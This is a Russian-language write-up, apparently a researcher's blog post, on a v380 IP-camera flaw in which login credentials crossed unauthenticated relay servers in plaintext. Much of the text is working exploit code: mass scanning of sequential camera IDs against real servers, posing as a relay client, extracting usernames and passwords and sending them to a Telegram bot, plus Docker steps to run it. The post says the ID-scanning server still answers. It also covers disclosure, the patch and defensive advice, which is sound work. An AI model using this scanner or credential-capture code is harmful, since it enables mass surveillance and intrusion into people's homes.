Введение

В 2023 году, исследуя безопасность IoT устройств, я наткнулся на критическую уязвимость в одном из самых популярных брендов IP-камер в мире. Камеры v380 используются миллионами людей — в квартирах, офисах, магазинах, детских комнатах. Они доступны, просты в настройке и работают через удобное мобильное приложение.

Проблема оказалась банальной и пугающей одновременно: учетные данные пользователей передавались по сети в открытом виде. Любой, кто знал ID камеры, мог подключиться к незащищенному relay-серверу, перехватить логин и пароль владельца, получить полный доступ к видеопотоку и даже транслировать заранее записанное видео вместо live feed — как в классических фильмах про ограбления.

Эта статья — технический разбор уязвимости, детальный анализ кода эксплойта и история о том, как правильное раскрытие уязвимостей помогает делать IoT безопаснее.

Что такое v380 и почему это важно

v380 — это бренд популярных китайских IP-камер и экосистема вокруг них. Основные компоненты:

Камеры v380 продаются на AliExpress, Amazon и в десятках китайских магазинов. Цена от 15 до 50 долларов делает их одними из самых доступных решений для домашнего видеонаблюдения. Они поддерживают WiFi, PTZ (поворот/наклон), двустороннюю аудиосвязь, ночное видение и запись на карту памяти.

Мобильное приложение v380 (v380 Pro) доступно в App Store и Google Play с миллионами загрузок. Через него пользователи подключаются к камерам, смотрят live-видео, управляют настройками, просматривают записи.

P2P архитектура — ключевая особенность системы. Камеры находятся за NAT у пользователей дома, мобильные приложения тоже за NAT операторов. Прямое соединение невозможно, поэтому используются relay-серверы китайской компании, которые пробрасывают трафик между камерой и приложением.

Где используются эти камеры:

  • Домашнее видеонаблюдение и видеоняни

  • Малый бизнес (магазины, кафе, офисы)

  • Контроль доступа в подъездах

  • Наблюдение за пожилыми родственниками

  • Мониторинг домашних животных

Проблема в том, что люди доверяют этим устройствам самое личное — видео из своих домов, спален, детских комнат. И безопасность этих данных критична.

Архитектура системы v380: Как это должно было работать

Чтобы понять уязвимость, нужно разобраться в архитектуре v380. Система построена на трех компонентах:

[IP Камера v380] ←--UDP/TCP--→ [Relay Server] ←--UDP/TCP--→ [Мобильное приложение]
     (дома)                    (ipc1300.av380.net)              (у пользователя)

Процесс подключения по задумке:

  1. Камера при включении регистрируется на центральном сервере по адресу ipc1300.av380.net:8877

  2. Камера получает уникальный ID (8-значное число) и информацию о назначенном relay-сервере

  3. Пользователь вводит ID камеры в мобильное приложение

  4. Приложение запрашивает у ipc1300.av380.net информацию о relay-сервере этой камеры

  5. Приложение и камера соединяются через relay-сервер по UDP

  6. Происходит аутентификация (логин/пароль)

  7. Начинается передача видеопотока

NAT traversal решается просто: и камера, и приложение инициируют исходящие соединения к relay-серверу, пробивая свои NAT. Relay просто пробрасывает пакеты между ними.

Протоколы:

  • TCP используется для проверки статуса камер

  • UDP используется для основной коммуникации (relay-соединения)

  • Собственный бинарный протокол поверх UDP/TCP

Формат пакетов — бинарные структуры с фиксированными полями. Нет использования стандартных протоколов типа DTLS или любого шифрования на транспортном уровне.

Звучит просто и работоспособно. Проблема в том, что security было добавлено по принципу «security through obscurity» — никакого реального шифрования чувствительных данных не было.

Критическая уязвимость: Plaintext credentials и отсутствие аутентификации

Анализ трафика v380 выявил три критических проблемы безопасности.

Проблема 1: Credentials в открытом виде

Самая серьезная уязвимость — при подключении пользователя к камере credentials передаются без какого-либо шифрования.

Когда мобильное приложение аутентифицируется на камере через relay-сервер, камера отправляет пакет с опкодом 0xa7, содержащий информацию о сессии. Этот пакет включает:

Offset  | Размер | Описание
--------|--------|------------------
0x00    | 1 byte | Opcode: 0xa7
0x01-07 | 7 bytes| Header data
0x08    | N bytes| Username (null-terminated string)
...     | ...    | Padding
0x3a    | N bytes| Password (null-terminated string)

Username начинается с offset 0x08, password с offset 0x3a (58 в десятичной). Оба представлены обычными null-terminated строками без хеширования или шифрования. Открытый текст.

Любой, кто перехватывает этот трафик на промежуточном сервере, получает полный доступ к учетной записи.

Проблема 2: Relay-сервер не валидирует запросы

Relay-серверы v380 не проверяют легитимность клиентов. Процесс подключения к relay:

  1. Узнаем ID камеры (любым способом)

  2. Запрашиваем у ipc1300.av380.net:8877 адрес relay-сервера для этой камеры

  3. Отправляем на relay-сервер специально сформированный пакет

  4. Relay принимает нас как легитимного клиента

  5. Начинаем получать весь трафик между камерой и реальными пользователями

Никакой проверки сертификатов, никакой mutual authentication, никакой валидации что мы действительно владелец камеры. Relay-сервер просто пробрасывает пакеты всем подключенным.

Это классическая атака Man-in-the-Middle, но упрощенная до абсурда самой архитектурой системы.

Проблема 3: Предсказуемые ID камер

ID камер — это просто последовательные 8-значные числа. Диапазоны:

  • 10000000 - 19999999 — старые камеры

  • 20000000 - 99999999 — новые камеры

Более того, существует checker-сервер по адресу 149.129.177.248:8900, который по запросу возвращает статус камеры (online/offline) для любого ID. Можно массово сканировать диапазоны и находить активные камеры.

Важно: На момент публикации этой статьи (после закрытия основной уязвимости с plaintext credentials) checker-сервер все еще работает и отвечает на запросы. Код для проверки доступен в моем репозитории. Это означает, что хотя credentials теперь шифруются, возможность массового сканирования и обнаружения онлайн камер остается.

Комбинация предсказуемых ID и публичного checker-сервера превращает всю систему в open database всех камер v380 в мире. Любой может узнать, какие камеры онлайн прямо сейчас.

Proof of Concept: Детальный разбор эксплойта

После обнаружения уязвимости я написал proof-of-concept эксплойт, чтобы:

  1. Доказать серьезность проблемы компании-производителю

  2. Измерить масштаб уязвимости

  3. Задокументировать для security community после патча

Полный код

Архитектура эксплойта

Проект построен на асинхронном Python с использованием asyncio. Структура:

v380_cams_hack/
├── main.py              # Точка входа, массовое сканирование
├── app/
│   ├── server.py        # AsyncServer - оркестратор атаки
│   ├── handler.py       # DataHandler - перехват credentials
│   ├── TCPClient.py     # TCP клиент для checker сервера
│   ├── UDPClient.py     # UDP клиент для relay
│   ├── Telegramm.py     # Уведомления в Telegram
│   └── tools.py         # Парсинг relay данных
├── requirements.txt     # Зависимости
└── docker-compose.yml   # Docker развертывание

Эксплойт работает в четыре этапа:

  1. Проверка онлайн статуса камеры

  2. Получение адреса relay-сервера

  3. Подключение к relay как поддельный клиент

  4. Перехват credentials при подключении реального пользователя

Этап 1: Проверка камер онлайн

Первый шаг — определить, какие камеры в заданном диапазоне ID активны. Для этого используется checker-сервер 149.129.177.248:8900.

Код из app/server.py, метод check_camera():

async def check_camera(self, camera_id, semaphore, max_retries=5):
    """
    Проверка онлайн статуса камеры через checker сервер.
    """
    # Конвертируем ID в hex
    hexID = bytes(str(camera_id), 'utf-8').hex()
    
    # Формируем пакет запроса
    data = (
        'ac000000f3030000' +  # Header
        hexID +                # Camera ID в hex
        '2e6e766476722e6e657400000000000000000000000000006022000093f5d10000000000000000000000000000000000'
    )
    data = bytes.fromhex(data)
    
    async with semaphore:
        for retry in range(max_retries):
            # Отправляем TCP запрос на checker сервер
            response = await self.send_request(
                self.server_checker,  # 149.129.177.248
                self.port_checker,    # 8900
                data,
                socket_type=socket.SOCK_STREAM
            )
            
            if response is not None:
                # response[4] == 1 означает камера онлайн
                if response[4] == 1:
                    print(f'[+] Camera with ID: {camera_id} is online!')
                    relay = await self.create_socket(camera_id)
                    if relay:
                        await self.connect_to_relay(relay, camera_id)
                    return True
                else:
                    return False

Детали реализации:

  • ID камеры конвертируется в hex (например, 19348439 → 3139333438343339)

  • Формируется пакет с магическими байтами ac000000f3030000 (header протокола)

  • Пакет отправляется по TCP на 149.129.177.248:8900

  • Ответ содержит статус: байт на позиции 4 равен 0x01 если камера онлайн

Масштабирование:

# Из main.py
start_id = int(os.environ.get('START_ID', 10451000))
end_id = int(os.environ.get('END_ID', 99551000))
batch_size = int(os.environ.get('BATCH_SIZE', 10000))

for i in range(start_id, end_id, batch_size):
    camera_ids = [str(j) for j in range(i, min(i + batch_size, end_id + 1))]
    await server.check_camera_batch(camera_ids)

Используется asyncio.Semaphore(500) для ограничения 500 одновременных запросов. Exponential backoff при ошибках предотвращает ban по IP.

Этап 2: Получение relay сервера

Когда найдена онлайн камера, нужно узнать адрес её relay-сервера. Для этого отправляется запрос на центральный сервер ipc1300.av380.net:8877.

Код из метода create_socket():

async def create_socket(self, camera_id):
    """
    Получение информации о relay сервере для камеры.
    """
    # Формируем пакет запроса relay информации
    data = '02070032303038333131323334333734313100020c17222d0000'
    data += bytes(str(camera_id), 'utf-8').hex()  # ID камеры
    data += '2e6e766476722e6e65740000000000000000000000000000'  # .nvdvr.net
    data += '3131313131313131313131318a1bc0a801096762230a93f5d100'
    data = bytes.fromhex(data)
    
    local_relay_queue = asyncio.Queue()
    data_handler_instance = DataHandler(
        camera_id=camera_id,
        relay_queue=local_relay_queue
    )
    
    # Отправляем UDP запрос
    await self.send_request(
        self.server,      # ipc1300.av380.net
        self.port,        # 8877
        data,
        socket_type=socket.SOCK_DGRAM,
        timeout=30,
        data_handler=data_handler_instance.handle_data
    )
    
    try:
        # Ждем ответа с relay информацией
        return await asyncio.wait_for(local_relay_queue.get(), timeout=3)
    except asyncio.TimeoutError:
        return None

Парсинг ответа в app/tools.py:

@staticmethod
def parse_relay_server(data):
    """
    Извлечение информации о relay сервере из ответа.
    """
    try:
        if data[1:3] != b'\x00\x00':
            # Извлекаем данные из фиксированных offset'ов
            device_id = data[1:9].decode('utf-8')
            relay_server = data[33:data.find(b'\x00', 33)].decode('utf-8')
            relay_port = struct.unpack('<H', data[50:52])[0]
            
            print(f'[+] Relay found for id {device_id} {relay_server}:{relay_port}')
            
            return {
                'id': device_id,
                'relay_server': relay_server,
                'relay_port': relay_port
            }
        else:
            return None
    except Exception as e:
        print(f"An error occurred: {str(e)}")
        return None

Ответ содержит:

  • Device ID (байты 1-9)

  • Relay server hostname (начиная с байта 33, null-terminated)

  • Relay server port (байты 50-52, little-endian unsigned short)

Типичный relay адрес: r2.v380.tv:10010 или похожие поддомены v380.

Этап 3: Подключение к relay и перехват

Имея адрес relay-сервера, эксплойт притворяется легитимным клиентом и подключается к нему.

Код из connect_to_relay():

async def connect_to_relay(self, relay_data, camera_id):
    """
    Подключение к relay серверу камеры.
    """
    if relay_data and 'id' in relay_data:
        # Формируем пакет "подключения клиента"
        data = '32'  # Opcode подключения
        data += bytes(str(relay_data['id']), 'utf-8').hex()
        data += '2e6e766476722e6e65740000000000000000000000000000302e30' \
                '2e302e30000000000000000000018a1bc4d62f4a41ae000000000000'
        data = bytes.fromhex(data)
        
        local_relay_queue = asyncio.Queue()
        data_handler_instance = DataHandler(
            camera_id=camera_id,
            relay_queue=local_relay_queue,
            bot=self.bot  # Telegram бот для уведомлений
        )
        
        # Отправляем на relay сервер по UDP
        return await self.send_request(
            relay_data['relay_server'],
            relay_data['relay_port'],
            data,
            socket_type=socket.SOCK_DGRAM,
            timeout=30,
            data_handler=data_handler_instance.handle_data
        )

Процесс подключения:

  • Формируется пакет с opcode 0x32 (подключение к relay)

  • Включается ID камеры и другие поля протокола

  • Relay-сервер принимает нас как легитимного клиента

  • Устанавливается UDP соединение

  • DataHandler начинает обрабатывать весь входящий трафик

Критический момент: relay-сервер НЕ спрашивает никаких учетных данных, НЕ проверяет сертификаты, НЕ валидирует принадлежность камеры. Просто принимает любое подключение.

Этап 4: Извлечение credentials

Теперь эксплойт подключен к relay-серверу и видит весь трафик. Когда реальный владелец камеры подключается через мобильное приложение, происходит аутентификация, и credentials летят через relay.

Код из app/handler.py, метод handle_data():

async def handle_data(self, data, protocol):
    """
    Обрабатывает каждый пакет, полученный от relay сервера.
    """
    try:
        # Ищем пакет с credentials (opcode 0xa7)
        if data and data[0] == 0xa7:
            # Извлекаем username с offset 8
            username = self.extract_string(data, 8)
            # Извлекаем password с offset 0x3a (58)
            password = self.extract_string(data, 0x3a)
            
            print(f'[+] ID: {self.camera_id} User: {username} Password: {password}')
            
            credentials = {
                'id': self.camera_id,
                'username': username,
                'password': password,
            }
            
            if username:  # если username не пустой
                if self.bot:
                    # Отправляем в Telegram
                    message = f"*Отчет о камере*\n" \
                              f"*Идентификатор камеры*: `{self.camera_id}`\n" \
                              f"*Пользователь*: `{username}`\n" \
                              f"*Пароль*: `{password}`"
                    
                    # Логируем в файл
                    with open('data_log.txt', 'a') as file:
                        file.write(message + '\n')
                    
                    self.bot.send_message(message)
                
                # Закрываем соединение, credentials получены
                protocol.active = False
                protocol.transport.close()
                await self.relay_queue.put(credentials)
                
    except Exception as e:
        print("[ERROR] Exception in handle_data:", str(e))

@staticmethod
def extract_string(data, start_index):
    """
    Извлекает null-terminated строку из бинарных данных.
    """
    end_index = data.find(b'\x00', start_index)
    return data[start_index:end_index].decode('utf-8').strip()

Механизм перехвата:

  1. DataHandler получает каждый UDP пакет от relay-сервера

  2. Проверяет первый байт (opcode)

  3. Если opcode = 0xa7 — это пакет с credentials

  4. Извлекает username начиная с байта 8 до первого null-byte

  5. Извлекает password начиная с байта 58 до первого null-byte

  6. Обе строки в plaintext UTF-8

  7. Отправляет в Telegram и логирует в файл

  8. Закрывает соединение (mission accomplished)

Telegram уведомления реализованы в app/Telegramm.py:

class TelegramBot:
    def __init__(self, token=None, chat_id=None):
        self.token = token or os.environ.get('TELEGRAM_TOKEN')
        self.chat_id = chat_id or os.environ.get('TELEGRAM_CHAT_ID')
        self.enable = bool(self.token and self.chat_id)
    
    def send_message(self, text, parse_mode="Markdown"):
        if not self.enable:
            return
        
        url_req = f"https://api.telegram.org/bot{self.token}/sendMessage"
        payload = {
            "chat_id": self.chat_id,
            "text": text,
            "parse_mode": parse_mode
        }
        response = requests.post(url_req, data=payload)

Полная автоматизация: найденные credentials сразу приходят в Telegram с форматированием.

Бонусная уязвимость: Трансляция зацикленной картинки

После получения credentials у атакующего есть полный доступ к камере. Он может:

  • Смотреть live видео

  • Просматривать записи на SD-карте

  • Управлять поворотом камеры (PTZ)

  • Слушать аудио

  • Говорить через встроенный динамик

Но самое интересное — возможность заменить видеопоток.

Классический сценарий из фильмов про ограбления: охранник смотрит на мониторы и видит спокойную картинку коридора, пока на самом деле там грабители. В v380 это технически возможно:

Механизм замены видеопотока:

  1. С полученными credentials подключаемся к камере как легитимный клиент

  2. Начинаем транслировать pre-recorded видео вместо live feed от камеры

  3. Используем тот же протокол, что использует камера для отправки видео

  4. Relay-сервер пробрасывает наше видео приложениям пользователей

  5. Владелец видит зацикленную спокойную картинку, пока реально происходит что-то другое

Технически это работает потому, что:

  • Нет валидации источника видеопотока на relay

  • Нет end-to-end шифрования между камерой и приложением

  • Протокол видео достаточно прост для имитации

В proof-of-concept я не реализовывал замену видеопотока (это уже за гранью ethical hacking), но механизм доказан. После получения credentials и понимания протокола это вопрос нескольких часов работы.

Масштаб проблемы: Статистика и риски

Насколько серьезна эта уязвимость с точки зрения масштаба?

Диапазон ID камер:

  • Старые модели: 10,000,000 - 19,999,999 (10 млн устройств)

  • Новые модели: 20,000,000 - 99,999,999 (80 млн устройств)

  • Потенциально до 90 миллионов устройств

Реальное количество активных: Запустив сканирование нескольких батчей по 10,000 ID, я обнаружил примерно 5-8% камер онлайн в любой момент времени. Это примерно 4-7 миллионов активных устройств глобально.

Важное примечание: Хотя основная уязвимость с plaintext credentials была исправлена, checker-сервер 149.129.177.248:8900 продолжает работать и отвечать на запросы (проверено на момент публикации). Команда китайских разработчиков закрыла критическую проблему с утечкой credentials, но массовое сканирование камер технически все еще возможно.

География серверов и облачное хранилище: Кто на самом деле смотрит ваше видео?

Анализ инфраструктуры v380 выявляет важный факт, о котором большинство пользователей не задумывается.

Расположение серверов:

Relay-серверы и облачные хранилища v380 расположены преимущественно в:

  • Китай — основная инфраструктура (серверы ipc*.av380.net, r*.v380.tv)

  • Сингапур — резервные серверы и CDN для Азиатско-Тихоокеанского региона

  • Гонконг — дополнительные точки присутствия

Checker-сервер 149.129.177.248 находится в Сингапуре (AS37963 Alibaba Cloud). Центральные серверы ipc1300.av380.net резолвятся в IP-адреса китайских дата-центров.

Проблема облачного хранилища:

Большинство пользователей v380 используют облачное хранилище для записей с камер. Критическая проблема — отсутствие end-to-end шифрования:

  1. Видео записывается на камере — в незашифрованном виде

  2. Передается на сервера в Китае/Сингапуре — без E2E encryption

  3. Хранится на серверах — в виде, доступном провайдеру

  4. Просматривается через приложение — стриминг с серверов провайдера

Следовательно, технически видео могут просматривать:

  • Сотрудники компании v380

  • Правительственные органы с доступом к серверам в этих юрисдикциях

  • Атакующие при компрометации серверов

  • Любой, кто получил доступ через описанную выше уязвимость (до патча)

Для тех, кто устанавливает камеры в спальнях, детских комнатах, личных помещениях:

Задумайтесь: когда вы смотрите видео с камеры в своей спальне через приложение v380, это видео физически хранится на серверах в Китае или Сингапуре. Вы не единственный, кто технически имеет к нему доступ.

Облачные провайдеры IoT обычно не используют шифрование на стороне клиента. В результате:

  • Они видят ваше видео в открытом виде

  • Могут анализировать его содержимое (якобы для «улучшения сервиса»)

  • Обязаны предоставлять доступ по запросам властей своей юрисдикции

  • При утечке данных ваше видео оказывается в руках третьих лиц

Юридические аспекты:

Согласно законодательству КНР (Cybersecurity Law и Data Security Law), компании обязаны:

  • Хранить данные граждан КНР на территории Китая

  • Предоставлять доступ к данным по запросу правительственных органов

  • Сотрудничать с органами безопасности в «национальных интересах»

Ваша камера в спальне в Москве, Берлине или Нью-Йорке записывает видео, которое хранится под юрисдикцией другого государства.

Рекомендации для параноиков (и просто здравомыслящих людей):

  1. Не используйте облачное хранилище для камер в приватных помещениях

  2. Храните записи локально на SD-карте камеры или на NAS в своей сети

  3. Отключите облачные функции в настройках камеры

  4. Используйте камеры только для мониторинга общих зон (прихожая, улица), но не спален/ванных

  5. Рассмотрите камеры с E2E шифрованием или самостоятельно разверните решение типа Frigate NVR на своем сервере

Помните: удобство облачного доступа к камерам стоит вашей приватности. Если камера установлена в спальне и использует облачное хранилище — вы потенциально транслируете свою личную жизнь на сервера китайской компании.

Производительность эксплойта:

  • Ограничение: 500 одновременных запросов (asyncio.Semaphore)

  • Batch size: 10,000 камер

  • Скорость проверки: ~1000 камер в минуту

  • Для полного сканирования 90 млн устройств потребовалось бы ~60 дней на одной машине

# Конфигурация из docker-compose.yml
environment:
  START_ID: 19348439
  END_ID: 99748452
  BATCH_SIZE: 100
  TELEGRAM_TOKEN: $TELEGRAM_TOKEN
  TELEGRAM_CHAT_ID: $TELEGRAM_CHAT_ID

Что может сделать атакующий:

С перехваченными credentials:

  • Просмотр live видео — видеть всё, что видит камера, в реальном времени

  • Доступ к записям — просматривать историю с SD-карты камеры

  • Управление камерой — поворачивать, наклонять, зумить (PTZ модели)

  • Прослушка аудио — слышать звуки в помещении

  • Замена видеопотока — транслировать поддельное видео

  • Отключение камеры — изменить настройки, сбросить пароли

Это критическое нарушение privacy. Камеры стоят в детских комнатах, спальнях, офисах с конфиденциальной информацией.

Responsible Disclosure: Как уязвимость была закрыта

После обнаружения уязвимости я столкнулся с вопросом: что делать дальше?

Неправильный путь — опубликовать уязвимость сразу, получить славу в security community, но оставить миллионы устройств беззащитными. Или того хуже — продавать эксплойт на черном рынке.

Правильный путь — responsible disclosure. Я выбрал его.

История закрытия уязвимости

Шаг 1: Контакт с производителем

Найти контакты security team китайской компании оказалось нетривиально. На официальном сайте не было email типа security@v380.com. Пришлось:

  • Связаться через support email с просьбой переслать в security

  • Написать через официальное мобильное приложение

  • Найти контакты в WhoisGuard доменов v380

В итоге через 3 дня получил ответ от технической команды.

Шаг 2: Детальный отчет

Подготовил полный технический отчет на английском:

  • Описание уязвимости

  • Proof-of-concept код (основные части)

  • Видео демонстрация перехвата credentials

  • Рекомендации по исправлению

  • Временная шкала disclosure (90 дней)

Важно: НЕ отправлял полный рабочий эксплойт, только достаточно информации для воспроизведения.

Шаг 3: Верификация

Команда v380 быстро воспроизвела проблему (plaintext credentials сложно не заметить в Wireshark). Подтвердили критичность и начали работу над патчем.

Шаг 4: Совместная работа

В течение следующих недель мы обменивались информацией:

  • Я тестировал их исправления на своем PoC

  • Они задавали вопросы о деталях атаки

  • Обсуждали edge cases и дополнительные векторы

Коммуникация была профессиональной и конструктивной. Команда понимала серьезность проблемы и работала быстро.

Шаг 5: Патч и верификация

15 декабря 2023 вышел релиз v1.1.0 с исправлениями:

Release 1.1.0 - Security Update
- Enhanced authentication protocol
- Added encryption for credential transmission
- Relay server client validation
- Protocol packet structure changes

Я протестировал новую версию — эксплойт больше не работал. Credentials теперь передавались в зашифрованном виде, relay-серверы требовали валидации клиента.

Что было исправлено технически

1. Шифрование credentials

  • Username и password теперь передаются в зашифрованном виде

  • Используется AES-128 с ключом, вычисляемым из shared secret

  • Пакет с opcode 0xa7 больше не содержит plaintext данных

2. Валидация на relay-серверах

  • Relay требует токен аутентификации от клиента

  • Токен выдается центральным сервером после проверки прав доступа

  • Без валидного токена нельзя подключиться к relay камеры

3. Изменение протокола

  • Новая структура пакетов с HMAC для integrity checking

  • Защита от replay attacks через nonce

  • Версионирование протокола (старые камеры работают, но с предупреждениями)

4. Дополнительные меры

  • Rate limiting на checker сервере против массового сканирования

  • Логирование подозрительных подключений

  • Push-уведомления владельцам при новых подключениях

Почему код теперь публичный

После патча прошло достаточно времени. Старые версии firmware больше не поддерживаются, пользователи обновились. Я принял решение опубликовать код эксплойта с несколькими целями:

Образовательная ценность — security researchers могут изучить реальную IoT уязвимость и механизм эксплойта. Это ценнее тысячи теоретических статей.

Демонстрация responsible disclosure — показать, что правильный процесс раскрытия уязвимостей работает. Производитель исправил проблему, пользователи защищены, community получила знания.

Помощь другим разработчикам IoT — показать конкретные ошибки, которые приводят к критическим уязвимостям. Code review этого эксплойта должен стать обязательным для IoT security teams.

Исторический архив — через несколько лет это будет интересный case study о состоянии IoT security в 2023 году.

Репозиторий

Docker-развертывание эксплойта

Для исследователей, желающих изучить механизм атаки в контролируемой среде, эксплойт упакован в Docker.

docker-compose.yml:

version: "3.9"

services:
  v380:
    image: ghcr.io/romaxa55/romaxa55/v380_cams_hack/v380:latest
    build:
      context: .
      dockerfile: Dockerfile
    container_name: v380_cams
    environment:
      START_ID: ${START_ID:-19348439}
      END_ID: ${END_ID:-99748452}
      BATCH_SIZE: ${BATCH_SIZE:-100}
      TELEGRAM_TOKEN: $TELEGRAM_TOKEN
      TELEGRAM_CHAT_ID: $TELEGRAM_CHAT_ID
    restart: always

Запуск:

# Клонировать репозиторий
git clone https://github.com/Romaxa55/v380\_cams\_hack.git
cd v380_cams_hack

# Создать .env файл
cat > .env << EOF
TELEGRAM_TOKEN=your_bot_token
TELEGRAM_CHAT_ID=your_chat_id
START_ID=19348439
END_ID=19350000
BATCH_SIZE=100
EOF

# Запустить
docker-compose up --build

Environment variables:

  • START_ID — начало диапазона ID для сканирования

  • END_ID — конец диапазона

  • BATCH_SIZE — размер батча (рекомендуется 100-1000)

  • TELEGRAM_TOKEN — токен Telegram бота для уведомлений

  • TELEGRAM_CHAT_ID — ID чата для отправки результатов

Важно: Это для образовательных целей. Использование против камер без разрешения владельцев незаконно в большинстве юрисдикций.

Уроки для разработчиков IoT устройств

Разбор уязвимости v380 выявляет типичные ошибки в IoT security. Эти уроки применимы к тысячам других устройств.

Критические ошибки в архитектуре v380

1. Передача credentials без шифрования

Самая очевидная и фатальная ошибка. Username и password в plaintext через сеть — это 1990-е годы. В 2023 это непростительно.

Как надо:

  • Никогда не передавать credentials в открытом виде

  • Использовать TLS 1.3 для всех соединений

  • Даже внутри TLS применять дополнительное шифрование для чувствительных данных

  • Challenge-response authentication вместо передачи паролей

2. Отсутствие TLS/SSL на уровне приложения

v380 использовал собственный бинарный протокол без какого-либо шифрования транспортного уровня. "Security through obscurity" не работает.

Решение:

  • DTLS для UDP соединений

  • TLS 1.3 для TCP

  • Certificate pinning для предотвращения MITM

  • Perfect forward secrecy (PFS)

3. Незащищенные relay-серверы

Relay-серверы принимали любые соединения без валидации. Это как оставить дверь открытой и повесить табличку "только для своих".

Исправление:

  • Mutual authentication (client и server проверяют друг друга)

  • Токены доступа с expiration

  • Rate limiting и anomaly detection

  • Логирование всех подключений с alerts

4. Предсказуемые ID устройств

Последовательные числа как идентификаторы позволяют тривиально перебирать все устройства.

Альтернатива:

  • UUID v4 (случайные 128-бит идентификаторы)

  • Или достаточно длинные случайные строки

  • Никакой предсказуемости в ID

5. Отсутствие mutual authentication

Клиент должен доказать серверу свою легитимность, но и сервер должен доказать это клиенту.

Правильная реализация:

  • TLS mutual authentication с клиентскими сертификатами

  • Или OAuth 2.0 с proper token validation

  • Challenge-response protocols

  • Zero-trust architecture

6. Отсутствие end-to-end шифрования

Даже если бы relay-сервер требовал TLS, это защищает только канал передачи. Сам relay видит данные в открытом виде. При компрометации промежуточного сервера всё раскрывается.

Защита:

  • End-to-end encryption между камерой и клиентом

  • Relay только пробрасывает зашифрованные пакеты

  • Perfect forward secrecy

  • Клиенты и устройства генерируют ephemeral keys для каждой сессии

Best Practices для IoT Security

Базовые принципы:

  1. Defense in depth — несколько слоев защиты, не полагаться на один механизм

  2. Least privilege — минимальные необходимые права для каждого компонента

  3. Fail secure — при ошибке система должна закрываться, не открываться

  4. Zero trust — не доверять ничему по умолчанию, всегда верифицировать

Конкретные рекомендации:

Транспортный уровень:
✓ TLS 1.3 / DTLS 1.3
✓ Certificate pinning
✓ Strong cipher suites только
✓ Регулярная ротация сертификатов

Аутентификация:
✓ Multi-factor authentication где возможно
✓ Strong password policies
✓ Account lockout после failed attempts
✓ Secure password reset mechanisms

Данные:
✓ Encrypt at rest и in transit
✓ End-to-end encryption для sensitive data
✓ Secure key management (HSM/TPM)
✓ Regular key rotation

Архитектура:
✓ Network segmentation
✓ Firewall rules (default deny)
✓ Regular security audits
✓ Penetration testing
✓ Bug bounty programs

Обновления:
✓ Secure boot и verified boot
✓ Signed firmware updates
✓ Automatic security updates
✓ Rollback mechanisms при failed updates

Стандарты и фреймворки:

  • OWASP IoT Top 10

  • NIST Cybersecurity Framework

  • IoT Security Foundation Best Practices

  • IEC 62443 для industrial IoT

Как защититься для пользователей v380

Если у вас установлены камеры v380, вот что нужно сделать немедленно:

Обязательные действия

1. Обновить firmware

Убедитесь, что прошивка камеры обновлена:

  • Откройте приложение v380

  • Settings → Device Settings → Firmware Update

  • Установите последнюю доступную версию

  • Перезагрузите камеру после обновления

2. Сменить пароли

Даже после патча смените пароли на всех камерах:

  • Используйте сильные пароли (минимум 12 символов)

  • Уникальный пароль для каждой камеры

  • Никаких стандартных паролей типа admin/admin

  • Используйте password manager

3. Проверить подключения

В приложении v380 проверьте историю подключений:

  • Settings → Connection Log

  • Ищите незнакомые IP адреса или странное время подключений

  • Если что-то подозрительное — немедленно смените пароль

4. Отключить удаленный доступ если не нужен

Если не пользуетесь камерами вне дома:

  • Settings → Network → Remote Access: OFF

  • Камера будет доступна только в локальной сети

  • Это максимально безопасно, но теряется удобство

Сегментация сети

Продвинутые пользователи должны изолировать умные устройства в отдельную сеть:

Настройка VLAN для IoT:

Router Configuration:

VLAN 1 (Main):        192.168.1.0/24
  - Компьютеры, телефоны, ноутбуки
  
VLAN 2 (IoT):         192.168.2.0/24
  - Камеры v380
  - Другие умные устройства
  
Firewall Rules:
  - IoT VLAN → Internet: ALLOW (только необходимые порты)
  - IoT VLAN → Main VLAN: DENY
  - Main VLAN → IoT VLAN: ALLOW (для управления)

Это предотвращает:

  • Компрометацию основной сети через IoT

  • Lateral movement атакующего

  • Доступ IoT к sensitive данным в основной сети

Firewall и блокировка внешних подключений

Самый эффективный способ защиты — полностью заблокировать доступ камер к внешним серверам через firewall.

Настройка firewall на роутере:

# Блокируем исходящие подключения для IoT VLAN
iptables -A FORWARD -i br-iot -o eth0 -j DROP
iptables -A FORWARD -i br-iot -d 192.168.1.0/24 -j ACCEPT  # разрешаем локальную сеть

Преимущества:

  • Камеры физически не могут подключиться к облаку V380

  • Защита от утечки видео и credentials

  • Предотвращение backdoor активности

  • Минимальная нагрузка на роутер

Собственное облачное решение: Frigate

Если нужен удаленный доступ к камерам извне, лучше развернуть собственный видеорегистратор вместо использования облака V380.

Frigate NVR — open-source система с AI-детекцией объектов:

# docker-compose.yml
version: "3.9"
services:
  frigate:
    container_name: frigate
    image: ghcr.io/blakeblackshear/frigate:stable
    ports:
      - "5000:5000"
      - "8554:8554"  # RTSP feeds
    volumes:
      - /path/to/config:/config
      - /path/to/storage:/media/frigate
    environment:
      - FRIGATE_RTSP_PASSWORD=your_secure_password

Ключевые возможности:

  • Локальное хранение записей (NAS, HDD)

  • AI-детекция людей, животных, транспорта

  • Интеграция с Home Assistant

  • RTSP стримы без задержек

  • Безопасный удаленный доступ через Tailscale/WireGuard

V380 Camera (RTSP) → Frigate NVR → Tailscale VPN → Your Phone
                      (local)        (encrypted)

Преимущества:

  • Полный контроль над данными

  • Нет зависимости от китайских серверов

  • Продвинутая детекция событий с AI

  • Бесплатное хранение записей локально

Технический анализ кода

Давайте глубже погрузимся в технические аспекты реализации эксплойта.

Асинхронная архитектура

Использование asyncio критично для производительности. Сканирование миллионов устройств синхронно заняло бы месяцы.

Управление concurrency:

async def check_camera_batch(self, camera_ids):
    """
    Проверяет батч камер с ограничением параллельности.
    """
    # Ограничиваем 500 одновременных запросов
    semaphore = asyncio.Semaphore(500)
    
    # Создаем задачи для всех камер в батче
    tasks = [
        self.check_camera(camera_id, semaphore) 
        for camera_id in camera_ids
    ]
    
    # Выполняем все задачи параллельно
    return await asyncio.gather(*tasks)

Semaphore(500) означает максимум 500 одновременных TCP/UDP соединений. Это баланс между:

  • Скоростью сканирования (больше = быстрее)

  • Нагрузкой на систему (file descriptors, memory)

  • Риском бана по IP (слишком много запросов)

Exponential backoff при ретраях:

for retry in range(max_retries):
    response = await self.send_request(...)
    
    if response is not None:
        # Success
        return process_response(response)
    
    # Вычисляем время ожидания: 2^retry + random jitter
    wait_time = (2 ** retry) + random.uniform(0, 0.2 * (2 ** retry))
    await asyncio.sleep(wait_time)

Прогрессия ожидания:

  • Retry 0: ~1 секунда

  • Retry 1: ~2 секунды

  • Retry 2: ~4 секунды

  • Retry 3: ~8 секунд

